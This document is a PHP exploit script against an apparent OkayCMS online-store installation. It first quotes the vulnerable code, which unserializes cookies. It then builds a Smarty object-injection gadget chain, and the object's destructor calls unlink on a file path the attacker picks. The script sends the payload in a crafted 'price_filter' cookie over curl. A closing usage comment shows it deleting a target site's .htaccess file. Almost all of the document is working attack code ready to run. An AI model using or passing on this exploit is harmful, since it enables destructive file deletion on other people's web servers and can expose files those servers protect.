$items = !empty($_COOKIE['comparison']) ? unserialize($_COOKIE['comparison']) : array();

$price_filter = unserialize($_COOKIE['price_filter']);

<?php

if($argc != 3)
{
  print "usage: $argv[0] <url> <file>\n";
  exit(1);
}

$url = $argv[1];
$file = $argv[2];

class Smarty_Internal_CacheResource_File {

        public function releaseLock(Smarty $smarty, Smarty_Template_Cached $cached) {
            $cached->is_locked = false;
            @unlink($cached->lock_id);
        }   
}

class Smarty_Template_Cached {
    public $handler = null;
    public $is_locked = true;
    public $lock_id = "";

    public function __construct() {
       $this->lock_id = $GLOBALS['file'];
       $this->handler = new Smarty_Internal_CacheResource_File;
    }
}


class Smarty {
    public $cache_locking = true;
}

class Smarty_Internal_Template  {
    public $smarty = null;
    public $cached = null;
    
    public function __construct() {
        $this->smarty = new Smarty;
        $this->cached = new Smarty_Template_Cached;
    }

    public function __destruct(){
        if ($this->smarty->cache_locking && isset($this->cached) && $this->cached->is_locked) {
            $this->cached->handler->releaseLock($this->smarty, $this->cached);
        }
    }
}

$obj = new Smarty_Internal_Template();

$serialized = serialize($obj);

$un = unserialize($serialized);

$headers = [
  'Accept-Language: en-US,en;q=0.5',
  "Referer: $url/en/catalog/myagkie-igrushki",
  'Cookie: ' . 'price_filter=' . urlencode($serialized) . ';'
];

$curl = curl_init();
curl_setopt_array($curl, [
    CURLOPT_HTTPHEADER => $headers,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_URL => "$url/en/catalog/myagkie-igrushki/sort-price",
    CURLOPT_USERAGENT => 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0'
]);
$resp = curl_exec($curl);
if(curl_error($curl)) {
   print curl_error($curl);
}
curl_close($curl);


print $resp;

?>

# This command deletes the .htaccess-file from the webroot:
# php file-delete.php https://okaycms.example.com .htaccess